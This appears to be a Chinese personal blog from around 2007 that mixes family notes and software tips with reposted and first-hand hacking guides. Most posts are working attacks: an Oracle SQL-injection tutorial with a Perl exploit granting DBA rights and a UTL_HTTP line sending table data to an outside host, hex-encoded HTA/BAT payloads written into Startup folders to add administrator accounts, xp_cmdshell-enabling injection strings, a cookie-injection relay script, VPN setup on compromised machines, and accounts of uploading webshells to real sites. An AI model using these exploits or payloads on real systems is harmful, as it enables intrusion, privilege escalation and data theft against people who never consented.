|
|
用户名:lvhuana 笔名:Lvhu4na 地区: 行业:其他 |
| 日 | 一 | 二 | 三 | 四 | 五 | 六 |
LvHuaNa的个人网络日记
男性
29岁
已婚
现有一个女儿
汉族
曾经加入过少先队和共青团
身高1.78米
体重140市斤
带眼镜,近视度600度
单眼皮小眼 -_-|||
发长20厘米左右(俗话怎么说的来着?"头发长见识短"???我汗,改天去剃个光头先.........)
家住河南省南阳市
工作:市内某酒业公司业务主管。
QQ号码:4243738
手机号码:不告诉你,省得你利用弱口令得到我的所有密码..........^_^
世界前十大BT资源站点全表
torrentfreak公布了2007年度全球BT资源库的排行榜.
今年的排行榜比起往年有了巨大变化,Mininova以世界排名46位高居榜首.
而很不幸的是,他们之中的绝大多数正在面临RIAA和MPAA以及各个版权组织的围追堵截.以下是列表.
1. Mininova
世界上最受欢迎的BT站点.
Alexa rank: 46
仅次于Mininova,在美国本土无法访问.
Alexa rank: 143
号称要建立盗版国的瑞典海盗湾
Alexa rank: 147
它不直接提供.torrent文件,而是提供评论系统,私人书签等功能.
Alexa rank: 160
今年增长最快的BT站点,但是也经常被ISP扫地出门.
Alexa rank: 445
06年的BT站点冠军,由于MPAA的原因在美国本土也无法访问.
Alexa rank: 461
今年最沉默奖
Alexa rank: 481
一个西班牙语的Torrent站点能挤入排行榜实为不易.
Alexa rank: 583
拥有4年悠久历史的BT站点.
Alexa rank: 604
最年轻的BT站点
Alexa rank: 673
默哀奖:Demonoid
drupal物理路径泄露漏洞
/themes/garland/page.tpl.php
访问这个,是windows服务器的话,出现错误,直接暴露出物理路径,别的操作系统没测试,估计应该一样。
右键看源代码可以看到。
用vbs实现zip
优化c程序体积
忘记是谁给的这个txt文档了,优化后体积确实变小不少。
随手测试了一个cpp,编译后28k,优化后体积变成1.5k,真不错。
先用release 来build 程序
再加上我这 头文件
#ifdef NDEBUG
#pragma optimize("gsy",on)
#pragma comment(linker,"/RELEASE")
#ifdef _MERGE_RDATA_
#pragma comment(linker,"/merge:.rdata=.data")
#endif
#pragma comment(linker,"/merge:.text=.data")
#pragma comment(linker,"/merge:.reloc=.data")
#if _MSC_VER >= 1000
#endif
#endif
#pragma comment(linker,"/MERGE:.rdata=.data")
#pragma comment(linker,"/MERGE:.text=.data")
#pragma comment(lib,"msvcrt.lib")
#if (_MSC_VER < 1300)
#pragma comment(linker,"/IGNORE:4078")
#pragma comment(linker,"/OPT:NOWIN98")
#endif
#define WIN32_LEAN_AND_MEAN
保存为 youhua.h 直接 #include "youhua.h"
ART OF WEB-SQL-INJECTION ORACLE篇
文章作者:kj021320
注意:本文章首发I.S.T.O技术团队,后由原创作者友情提交到邪恶八进制信息安全团队论坛。
author : kj021320
team: I.S.T.O
很多人都说什么ASP PHP JSP注射 其实注射最直接是跟数据库有关!然而那些脚本只是一种辅助
例如ASP/ASPX JSP 啥限制都没!而PHP则会把' 过滤为\' 但是若然不是MYSQL POSTGRESQL SQLITE的话这个功能就废了!
但是我觉得这些脚本语言都不狠~如果CFM的话 估计你就没折了! 具体各数据库相关信息请参看
ART OF WEB-SQL-INJECTION第1卷 感谢AMXSA以及I.C.E多我的支持
OK言归正传,在国外对ORACLE的攻击一直很收关注,只是国内研究的人不太多,或者技术不够~这里我就打响第一炮吧!
SQLINJECTION 都是要看数据库的SQL解析引擎的 ,ORACLE这个就不支持多语句执行了!
大家要是用PLSQL那些工具可以用; 来执行多个语句 !
那是因为工具上面帮你做了多个语句分别提交
ORACLE注射在国外提出了好些攻击方式,但是能够web sql injection利用的没多少!
在早期ngs 和 ARGENISS 都相对提出了 FUNCTION/PROCEDURE 的注入方式!
也就是用户自己定义的一些函数或者存储过程会存储SQL-INJECTION
我拿一个MSSQL的函数作为例子
create function ISTO_KJ021320(@sql varchar(100))
RETURNS int
begin
exec('SELECT * FROM KJ021320 WHERE NAME='''+ @sql +'''');
end
以上这样的方式无疑@sql这个参数没有过滤 存在SQL注入了!
同样在ORACLE中这样的方式特别出众,首先从用户定义的函数到系统函数
系统包里面的函数一般都是操作一些系统表!普通用户是无办法查取的
但是调用这些系统函数就可以获取相应的信息~
很容易理解ORACLE权限管理的机制
用户--->调用函数(继承函数创建者的权限)--->执行操作
那么我们只需要做的是改函数里面的操作 进行添加用户,建DBA等...
milw0rm securityfocus 红色数据库安全 ...公布的方法都是很简单的说给了应用而没有说明道理~
那就由我代劳翻印讲解一下吧~
例如以下的官方公布的是
DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION 这个包的这个函数存储INJECTION
OK 在 milw0rm上面公布的 exploit 是一段PERL写的代码
use warnings;
use strict;
use DBI;
use Getopt::Std;
use vars qw/ %opt /;
sub usage {
print <<"USAGE";
Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]
Options:
-h <host> target server address
-s <sid> target sid name
-u <user> user
-p <passwd> password
-g|-r (g)rant dba to user | (r)evoke dba from user
[-P <port> Oracle port]
USAGE
exit 0
}
my $opt_string = 'h:s:u:p:grP:';
getopts($opt_string, \%opt) or &usage;
&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
&usage if ( !$opt{g} and !$opt{r} );
my $user = uc $opt{u};
my $dbh = undef;
if ($opt{P}) {
$dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
} else {
$dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
}
my $sqlcmd = "GRANT DBA TO $user";
print "[-] Wait...\n";
if ($opt{r}) {
print "[-] Revoking DBA from $user...\n";
$sqlcmd = "REVOKE DBA FROM $user";
$dbh->do( $sqlcmd );
print "[-] Done!\n";
$dbh->disconnect;
exit;
}
print "[-] Creating evil function...\n";
$dbh->do( qq{
CREATE OR REPLACE FUNCTION OWN RETURN NUMBER
AUTHID CURRENT_USER AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE '$sqlcmd'; COMMIT;
RETURN(0);
END;
} );
print "[-] Go ...(don't worry about errors)!\n";
my $sth = $dbh->prepare(qq{
BEGIN
SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION('''||$user.own||''');
END;
});
$sth->execute;
$sth->finish;
print "[-] YOU GOT THE POWAH!!\n";
$dbh->disconnect;
exit;
-------
以上 的方法其实就是 首先自己要建立一个函数叫 OWN 里面的操作就是
GRANT DBA TO $user 把DBA权限授予某个用户!
然后到有存在注入的存储过程中
SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION( 放入OWN函数 );
因为
ACTIVATE_SUBSCRIPTION方法存在注射
所以会直接执行 own函数 去添加一个权限
这里演示的是 需要先建立一个函数的!但是我们WEB SQL INJ的时候不能写多个SQL来建个函数啊!
有什么方法?
ACTIVATE_SUBSCRIPTION存在注射 当然也可以把后面的语句屏蔽了!跟我们WEB SQL INJ差不多
具体怎么知道应该怎样检测挖掘ORACLE的函数注入,下次我会写篇<<检测函数注入in ORACLE>>的文章
以上原理介绍完了 开始实战!
记得 很多文章说要是SQL语句这样子写
sqlstr="begin select * from kj021320 where name=$name;end;";
可以执行多语句!其实这个是废话!现在写代码的哪个会这样~一般都直接操作SQL了
sqlstr="select * from kj021320 where name=$name";
所以在,ORACLE WEB中SQL注射只能使用函数,存储过程不能使用!具体为什么自己去看看文档
在web 存在一个注射点
http://127.0.0.1:8080/VOA/test.jsp?id=282 数字型的
那么我们首先来确认这个用户的权限
http://127.0.0.1:8080/VOA/test.jsp?id=282 and exists(select * from dba_tables)
在这里一个小细节
讲讲ORACLE的系统表部分
DBA开头的 只有DBA权限的用户才能访问例如 DBA_USERS DBA_TABLES
而一般用户都能查询
user_tables 跟 all_tables这两个系统表 前者是本用户自己的表! 后者是自己的表以及人家授权给你查询的表!
一般注射软件只需要查询这两个表就可以获取用户的表结构了
回到上面的注射一般都会返回false的!
没关系其实有函数注射 权限对我们来说不重要~
那现在怎么确认ORACLE主机的位置呢? 也就是说他的IP跟WEB是不是同一个机器
那么我们采用
UTL_HTTP 这个包里面的 request函数
例子:
SELECT UTL_HTTP.request('http://www.isto.cn/getdata.asp?data='||TABLE_NAME) FROM USER_TABLES WHERE ROWNUM<=1
他会把数据当作URL请求发送出去!具体大型数据库都有远程数据调用的方式 可以参看
ART OF WEB-SQL-INJECTION第1卷
那么我们怎么构造这个注射呢?很简单!
http://127.0.0.1:8080/VOA/test.jsp?id=282 and '1'in(SELECT UTL_HTTP.request('http://www.isto.cn/getdata.asp?data='||TABLE_NAME) FROM USER_TABLES)
这样子!
然而我们得构造一个页面接收请求的参数!ASP简单实现
<%
if request("data")="" then
response.Write Application("oracle_data")
else
dim dataValue
dataValue=request.ServerVariables("REMOTE_HOST") & " data : " & request("data") & "<br>"
if request("clear")<>"" then
Application("oracle_data")=dataValue
else
Application("oracle_data")=Application("oracle_data") & dataValue
end if
end if
%>
除非他数据库是内网 不然一般我们都可以获取他的IP地址以及数据~ 比猜表还快!
接下来我们可以获取他的IP 然后扫他的ORA端口 SID可以通过SELECT查询获取 或者用tnscmd检测!
节下来我就直接一点了!
拿出 06年国外公布的一个ODAY
GET_DOMAIN_INDEX_TABLES 但是国外好象没给出更多的利用信息
就是这样而已,看当时的说明
CREATE OR REPLACE
PACKAGE MYBADPACKAGE AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER;
END;
/
CREATE OR REPLACE PACKAGE BODY MYBADPACKAGE
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER
IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO HACKER';
COMMIT;
RETURN(1);
END;
END;
/
DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := 'A1'; INDEX_SCHEMA := 'HACKER';
TYPE_NAME := 'MYBADPACKAGE'; TYPE_SCHEMA := 'HACKER';
VERSION := '10.2.0.2.0'; GMFLAGS := 1;
v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA, TYPE_NAME
=> TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK =>
NEWBLOCK, GMFLAGS => GMFLAGS
);
END;
/
具体注射点在第3个参数
我现在不采用函数形式
直接在里面插入SQL语句
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER KJ021320 IDENTIFIED BY KJ021320'''';END;'';END;--','SYS',0,'1',0)
这样就可以建立一个用户了!
我们构造SQL
http://127.0.0.1:8080/VOA/test.jsp?id=282 and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER KJ021320 IDENTIFIED BY KJ021320'''';END;'';END;--','SYS',0,'1',0)=''
这样提交就会建立一个KJ021320用户 而密码也是KJ021320
可以了建立了用户也不行~~先给这个用户添加连接的权限
http://127.0.0.1:8080/VOA/test.jsp?id=282 and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''GRANT CONNECT TO KJ021320'''';END;'';END;--','SYS',0,'1',0)=''
再用此方法添加一个DBA权限! 既然你是ORACLE的DBA 那采用什么方法去写本地文件拿shell
方法多的是!别说备份了!PRO*C SQLJ都可以!接下来留给你们吧!
也谈 MSSQL备份取系统权限
原文里用的方法是备份出BAT文件,下面回复有人提到本地测试成功,而放到WEBSHELL上提权时效果不佳,其实原因还是出在BAT上,因为在DOS下单条命令长度是有限制的(好像是128位字符吧,不记得了),大家在本地测试时数据库一定很小(几乎是空的吧),而放WEBSHELL里提权时数据库相对较大,而且不论是LOG备份还是差异备份在备份时都会加入N多数据,只要在你备份前的BAT数据之前有一行是大于128位字符的在备份后的BAT执行时就会自动退出,不信你可以在本地建个BAT删掉@echo off这一行后在DOS运行你的BAT试试看。这就是本地测试成功,用于WEBSHELL提权时失效的原因了。
BAT不行我们试试HTA,关于HTA的文件格式大家自行GOOGLE或BAIDU
把上面这段代码转为16进制后再在头尾各加两个回车备份出来为HTA后缀就可加大成功率了。最后一行加个JS代码自动关掉HTA运行时弹出的窗口来躲过管理员的眼睛。
贴下备份代码:
1.Log备份:
alter database 库名 set RECOVERY FULL--
create table cmd (a image)--
backup log 库名 to disk='c:\cmd1' with init--
insert into cmd(a) values (0x130A0D0A3C534352495054204C414E47554147453D225642536372697074223E0D0A536574205753203D20575363726970742E4372656174654F626A6563742822575363726970742E5368656C6C2229200D0A57532E72756E2022636D64202F63206E6574207573657220783134306C6520333432313031353931202F616464222C300D0A57532E72756E2022636D64202F63206E6574206C6F63616C67726F75702061646D696E6973747261746F727320783134306C65202F616464222C300D0A3C2F5363726970743E0D0A3C736372697074206C616E67756167653D6A6176617363726970743E77696E646F772E636C6F736528293B3C2F7363726970743E0D0A0D0A)--
backup log 库名 to disk='C:\Documents and Settings\All Users\「开始」菜单\程序\启动\run.hta'--
drop table cmd--
alter database 库名 set RECOVERY SIMPLE--
2.差异备份:
backup database 库名 to disk='c:\ddd.bak'--
create table dtest (cmd image)--
insert into dtest(cmd) values (0x130A0D0A3C534352495054204C414E47554147453D225642536372697074223E0D0A536574205753203D20575363726970742E4372656174654F626A6563742822575363726970742E5368656C6C2229200D0A57532E72756E2022636D64202F63206E6574207573657220783134306C6520333432313031353931202F616464222C300D0A57532E72756E2022636D64202F63206E6574206C6F63616C67726F75702061646D696E6973747261746F727320783134306C65202F616464222C300D0A3C2F5363726970743E0D0A3C736372697074206C616E67756167653D6A6176617363726970743E77696E646F772E636C6F736528293B3C2F7363726970743E0D0A0D0A)--
backup database 库名 to disk='C:\Documents and Settings\All Users\「开始」菜单\程序\启动\run.hta' WITH DIFFERENTIAL,FORMAT--
drop table dtest--
==================================================
上面的代码是用WScript.Shell组件执行加管理员的命令的,现在安全性高点的主机都不会留着它给你提权用,如果没有WScript.Shell组件我们还可以用 Shell.Application Wscript.Network ,如果这些都不可用我们还可以用FSO直接来写其它文件..... (说得太多了,留点空间大家发挥吧......)
以下转自:http://blog.wang1.cn/?action=show&id=664
韩文参照:
alter database moweb002 set RECOVERY FULL--
create table moweb002..cmd(a image)--
backup log moweb002 to disk='c:\cmd1' with init--
insert into cmd(a) values (0x130A0D0A406563686F206F66660D0A6563686F20736574207773687368656C6C3D6372656174656F626A6563742822777363726970742E7368656C6C22293E6B2E7662730D0A6563686F2065786563206D61737465722E64626F2E73705F616464737276726F6C656D656D626572206D6F7765623030322C73797361646D696E3E633A5C746573742E7172790D0A6563686F20623D7773687368656C6C2E72756E2822636D642E657865202F63206973716C202D45202F5520616C6D61202F50202F6920633A5C746573742E717279222C30293E3E6B2E7662730D0A6B2E7662730D0A64656C2025300D0A)--
backup log moweb002 to disk='C:\Documents and Settings\All Users\시작 메뉴\프로그램\시작프로그램\1.bat'--
drop table cmd--
中文对照:
alter database moweb00 set RECOVERY FULL--
create table moweb002..cmd(a image)--
backup log moweb002 to disk='c:\cmd1' with init--
insert into cmd(a) values (0x130A0D0A406563686F206F66660D0A6563686F20736574207773687368656C6C3D6372656174656F626A6563742822777363726970742E7368656C6C22293E6B2E7662730D0A6563686F2065786563206D61737465722E64626F2E73705F616464737276726F6C656D656D626572206D6F7765623030322C73797361646D696E3E633A5C746573742E7172790D0A6563686F20623D7773687368656C6C2E72756E2822636D642E657865202F63206973716C202D45202F5520616C6D61202F50202F6920633A5C746573742E717279222C30293E3E6B2E7662730D0A6B2E7662730D0A64656C2025300D0A)--
backup log moweb002 to disk='C:\Documents and Settings\All Users\「开始」菜单\程序\启动\1.bat'--
drop table cmd--
mssql2005手工注入方法
http://www.cnblogs.com/rover/archive/2007/07/22/827082.html
作者:rover
累死朕了,纯手工猜了个站..还是mssql2005..边找资料边爆..整理如下
/**/跟空格的作用一样,有的时候可以过一些过滤
爆库语句,修改红色部分的数字挨个猜出库
/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--
/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
/**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--
EXEC/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--
cookie注入也加速
[转贴的,找不到作者信息了。]
目前世面上大部分防注入程序都没有对cookie注入进行预防,虽然cookie手工注入麻烦了点,但对于有耐性的人来说,还是可以得到后台密码的,如果是MSSQL数据库,那么就更简单了。所以本文的目的就是用工具来代替手工进行cookie注入~~,手工方法如下:
比如网址如下http://zzz.com/cplb.asp?id=46,对GET以及POST提交的数据都进行了检测,也没办法饶过。首先打开上面的地址,再清空地址栏,输入javascript:alert(document.cookie="id="+escape("46 and 1=2")),再输入http://zzz.com/cplb.asp,页面返回错误,说明有希望;提交javascript:alert(document.cookie="id="+escape("46 and 1=1")),最后输入http://zzz.com/cplb.asp,这次返回完全正常;可以确定存在cookie注入。以下代码来自寂寞的刺猬[L.S.T],脚本高手啊~~
<%
cookname=request("jmdcw")
cookname=escape(cookname)
jmstr="id="&cookname '存在注入的变量
jmstr=replace(jmstr,chr(32),"%20")
jmstr=replace(jmstr,chr(43),"%2b")
'//以下三行需要修改,Cookies值可以用Domain3.5浏览下就得到了~~
jmurl="http://zzz.com/cplb.asp" '存在注入的网址
jmref="http://zzz.com/index.asp" '来源地址
jmcok="ASPSESSIONIDCQTAQBSQ=ALGDAPNDKCOHJNDCAMOHDHLK"
jmcok=jmcok& ";"&jmstr&";"
response.write postdata(jmurl,jmcok,jmref)
function postdata(posturl,postcok,postref)
dim http
set http=server.createobject("msxml2.serverxmlhttp")
with http
.open "POST",posturl,false
.setRequestheader "content-type","application/x-www-form-urlencoded"
.setrequestheader "referer",postref
.setrequestheader "cookie",postcok '提交cookie值
.send() '发送数据
postdata=.responsebody '得到返回的二进制信息
end with
set http=nothing
postdata=bytes2BSTR(postdata) '转换二进制流
end function
function bytes2BSTR(vin)
dim strReturn
dim i,thischarcode,nextcharcode
strReturn=""
for i=1 to lenB(vin)
thischarcode=ascB(midB(vin,1,1))
if thischarcode<&H80 then
strReturn=strReturn&chr(thischarcode)
else
nextcharcode=ascB(midB(vin,1+1,1))
strReturn=strReturn&chr(clng(thischarcode) * &H100+cint(nextcharcode))
i=i+1
end if
next
bytes2BSTR=strReturn
end function
%>
保存为jmdcw.asp,最后可以本机装个IIS或绿色的aspsrv.exe,那么注入地址就是http://127.0.0.1/jmdcw.asp?jmdcw=46,直接用工具就OK了,从此HACKING的道路更宽广了。。。
wubi,今天终于安装成功了。
看了上期的电脑爱好者杂志,看了里面有个叫wubi的软件不错,可以直接在windows上安装linux,而且不用虚拟机什么的,不用破坏分区,简直堪称完美。
心动不已,赶快下载之,按照杂志上的步骤,第一步下载wubi软件,第二步安装wubi软件,wubi会自动的从网上下载ubuntu-7.04-alternate-i386.iso这个文件,因为采用的是bt下载模式好像,所以我这里速度并不美丽,50k左右,拉了好久,终于拉下来完,然后wubi要求重新启动windows,重新启动后在系统选择那里多出来个ubuntu,开始自动安装ubuntu,安装到36%那里出错了,错误提示“load installer componernts from cd”,再也安装不下去了。。。
不对啊,杂志不是说全自动么。。。到电脑爱好者论坛去看了下,看来出现我这种问题的人还不少,论坛真垃圾,没有人可以提出解决方法的。在baidu和google搜索了下,找不到解决办法。到岳父家,用岳父家的电脑试了下,问题照旧。
今天突然想到,会不会是硬盘格式造成了ubuntu无法安装?我的硬盘格式都是fat32 的,无法使用4G以上的文件,而ubuntu默认安装的话,都最少8G了。
测试之,把e盘改成ntfs格式,然后安装ubuntu,一路绿灯,嘿嘿。终于进入了linux世界。开始好好学习linux喽~~
心得一:国外的月亮也不是完美的圆的。50k左右的下载速度,足以可以把一个人的意志磨砺到快没有的地步。所以简单的方法是直接用web来拉ubuntu-7.04-alternate-i386.iso这个文件,大家用脚指头都可以想像出来讯雷下载的速度是wubi下载时间的多少倍。把下载回来的.iso文件放在wubi的同目录下,然后再运行wubi,wubi会自动检测文件的。这样能节省不少时间。
心得二:如果不想改变盘的格式,只想保留fat32的原格式的话,还是把文件大小指定为4G以下的好,那样的结果是你进ubuntu安装不了多少东西,就没有体积再去安装别的东西了。(可能以后有好用的拓展虚拟硬盘体积的办法)
也说vpn
[转贴网络文章]
最近肉鸡的大力锐减,3389做事又相对不方便,想想还是VPN比较划算也更不容易被人发现。网上教程无数,不外那几个,包括linzi大大的都有许些问题没有说明白,害我的走不少弯路,,牺牲肉鸡无数下总算琢磨出一些技巧来,不敢私藏,sharing
1.前提
服务里 windows防火墙停止(或者麻烦点可以把router协议,端口1723配进去)
远程注册表服务必须开启
server服务必须开启
router路由服务必须开启
至于其他还可能依据的服务,偶也想8通,也许和某个RPC协议相关...一般来说,大概如此
2.过程,给出俩种磨人的方法
1)以上服务全部启动以后,我的电脑--管理工具---路由和远程访问
选择配置路由(以下为操作回忆,具体名称也记不清楚了,懒得副图)
首先,选择说明里带VPN几个字的第3个(什么虚拟私人网络vpn存取和NAT),
下一步 VPN
下一步
区域连接,选对方的(双网卡情况未测试,大家可以自己测试。这里的区域选择,选那个不带IP的,可以自己试下,选对了就可以下一步,否则禁止)
下一步
写IP范围(因为一般服务器是不安装DHCP服务器的),这里如肉鸡IP为211.78.100.24,我们就要写它后面的地址范围,比如211.78.100.25到211.78.100.30,当然,你可以狠心一点写到254去。注意不可以把本身ip包含进去,偶就是包了又包,在这个问题上就折腾一天无果
下一步
选择windows自带验证,不要选那个什么radius加密协议。确定,启动路由
最后
计算机管理,用户那里,把对应用户属性里的拨入选项,选择为允许
或者…………………………………………………………………………………………………………网上教程大多是这个
配置路由
选择最后一项,自由设定,vpn(也可以把NAT加入),开启
在路由和远程访问的服务器状态下面(机器名上点属性/内容),在IP一项里,静态地址中加入拨入的IP段比如211.78.100.25到211.78.100.30
下一步
计算机管理,用户那里,把对应用户属性里的拨入,选择为允许既可
2)在服务里Routing and remote Access默认禁止或者停止的情况下(远程注册表服务为打开)
网络邻居 属性,建立一个新的连接
选择最后一个(设置高级连接,就那个什么串口并口)
接受连接,允许其他电脑连入这台电脑
允许虚拟私人连接(A)
选择拨入的用户
网络属性,这里可以配置tcp/ip协议。比如:211.78.100.25到211.78.100.30
完成……
这个方法是最简单的ing,系偶牺牲无数肉鸡换来的~~
在这有俩个挺郁闷的现象,
如先启动Routing and remote Access,则网络邻居里就自动出现一个“拨入”,是未配置的
如先建立网络邻居的高级连接(就是上面的第2种思路,Routing and remote Access默认禁止)
Routing and remote Access也会自动启动。极个别机器例外,偶也解释不了
注意,配置了2)就不可以再配置1) ,默认禁止,提示网卡什么card已启动
同样配置1)以后2)也不可以再配置,否则会自动跳到路由和远程访问那里
…………………………………………………………………………………………………………………………
最后,本地建立VPN的client,这个简单的很啦。网络邻居属性,新建拨号连接,选择VPN,依次下一步即可。
关于新建的VPN拨入以后不能上网问题(也许可以ping通,但是打不开网页的)
肯定是DNS那里的问题啦。
复杂点
可以上肉鸡里配置肉鸡本地网卡的网关和DNS,或者cmd下打命令
route print
route add ....来调试
简单点
在本地已拨成功的虚拟专用网络的VPN的那个属性上
选择:网络--inter协议tcp/ip属性---高级,把那个在远程网络上使用默认网关的对号勾掉,重新连接。
ok~~~~~~
客隆购物网站管理系统漏洞
今天看到一个购物网站,随手猜测了一个后台admin,发现真有这个后台,并且是直接进后台,然后验证了什么后才跳回到admin.asp这个管理员登陆叶面。由于闪的非常的快,并没有看清闪回admin.asp之前是什么内容,所以抓包看了下,发现闪回之前的叶面真是非常的有意思,物理路径什么的都出来了。再看下cookie,发现里面有个buyok%5Fuser很有个性,所以在百度搜索了下,希望可以找到他用的什么牌子的原程序就好了。
运气不错哦,发现他使用的是客隆购物网站管理系统,竟然还是商业软件,他声称这个系统非常的安全,下载了个破解的后发现后台验证是cookie不是session验证,这样就有搞头了。
用可以修改cookie的浏览器,把cookie定为:ASPSESSIONIDASRTBCRD=GGAAEMICFCLPGAGGEILFGGGN; buyok=ad=211%2E43%2Exxx%2Exx&admin=admin&temp=login; buyok%5Fuser%5Fip=211%2E43%2Exxx%2Exx; flux_stat_user=0.17111800 1188373058503316591
上面的ip地址是自己的ip。
然后访问admin文件夹,直接进去了。
下面是得到shell的方法了。
看safe5.asp,首先是备份数据库,抓包,得到数据库的地址,可惜,数据库加了防下载语句,插库是不可能了。备份完后,得到备份后的数据库:shopbackup.mdb,下载之。
然后点那个删除,删除这个备份得来的数据库:shopbackup.mdb。
然后点上传,把自己的asp的木马改名为muma.mdb,上传上去为shopbackup.mdb
然后点恢复,会把上传上去的shopbackup.mdb恢复为数据库xxx.asp。
成功的得到一个webshell了。
但是原来网站的数据库被替换后,网站跨了,赶快把下载下来的shopbackup.mdb上传上去,再恢复下,OK了,嘿嘿。
九天智能建站V5.2小漏洞两个
一是注入漏洞,newshow.asp的id参数存在注入漏洞,可以猜解出member表,得到用户账号密码。
二是上传漏洞,在资源管理那里可以抓包后上传asp文件。
我的女儿三岁了
三岁了,但是貌似越来越不听话了。
刚去完青岛,回来后,似乎离不开她的妈妈了,早上第一件事情,就是找她的妈妈,如果找不到,就开始哇哇的哭。郁闷死我。。。。
我天天失眠,一般就是在早上3点左右才能睡着,天天早上8点左右还要起床照顾孩子。。
河南网通adsl宽带用户名破解程序
今年5月,值得河南上网用户庆祝的时候,河南网通终于把该死的dhcp+拨号改成了pppoe拨号,fox给我传了个河南网通adsl宽带用户名破解程序,终于可以摆脱河南网通的拨号程序了,自己在网络连接里可以建立一个新连接,可以放心的把河南网通的拨号程序卸载,从此扔出自己的电脑了,该死的弹窗再也没有了,任务管理器里也少了两个程序,清爽了。
而且在vista和linux下也可以放心了。
需要的下吧,下完后把.mp3这个后缀去掉,正常解压就可以了。
http://lvhuana.bokee.com/inc/adsl.rar.mp3
不要误导我们这些菜鸟好不好
今天在网上找到一个DNS RPC Exploit,准备编译的时候,发现里面提示缺少dnsxpl.h这个头文件,奇怪了,google下,发现原来是另一种编译方法,是makefile生成文件的。
继续google,“在VC里如何用Makefile文件编译”,看到很多篇编译心得,都是讲的一个办法,原来是互相的抄来抄去,这里我把那个办法写出来:
奇怪的目录设置
今天搞站碰到了一个aspx站点,简单浏览了下,心下一喜,发现了一个注入点,aspx的站点发现一个数字型注入漏洞,真不容易啊,以前都是挖掘搜索型漏洞。nbsi跑了下,sa权限,可惜了,错误提示关闭了,看来treelist得到web物理路径是不可能了。
用DataThiefV1.0跑表名和字段,填入以前的mssql肉鸡的sa和pass,然后自己用sqltools.exe连接上以前的mssql肉鸡,netstat -an |find "1433"得到了这个aspx站点的ip,看来web和mssql没有分离,也算是个好消息吧。同时用superscan扫了下,1433和3389都没有开放。得不到站点的物理路径,就不用说备份得到shell这个方法了。
看来只有跑到管理员的账号密码来登陆web后台,然后找漏洞上传文件来上传aspx或asp的webshell了。
DataThief跑出来管理账号和密码,奇怪的是密码是35位的加密方式,破解?无从下手了,猜解到后台登陆叶面是admin/admin_login.aspx,然后填入管理账号admin,密码admin888,登陆失败,接着试验,密码填入123456,靠,进来了。。。这种强度的密码干吗要搞那么莫名其妙的加密方式。。。
找到上传的地方,直接上传asp文件,真tmd运气好,上传成功了。路径是upfile/xxxxxxxxxxx.asp,访问下,404,头蒙蒙的。。难道是被杀了?接着换个aspshell,上传,接着显示上传成功,再访问,还是404。。。
接着再测试,上传aspx的webshell,可以访问了,但是那个目录解释aspx文件出错,日了,无聊的看着屏幕。。。
